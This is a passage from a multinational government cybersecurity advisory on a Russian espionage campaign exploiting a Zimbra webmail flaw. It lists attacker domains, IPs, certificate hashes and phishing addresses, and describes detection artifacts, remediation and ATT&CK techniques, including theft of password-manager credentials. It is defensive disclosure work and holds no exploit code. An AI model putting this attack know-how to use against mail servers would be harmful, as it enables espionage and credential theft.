<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
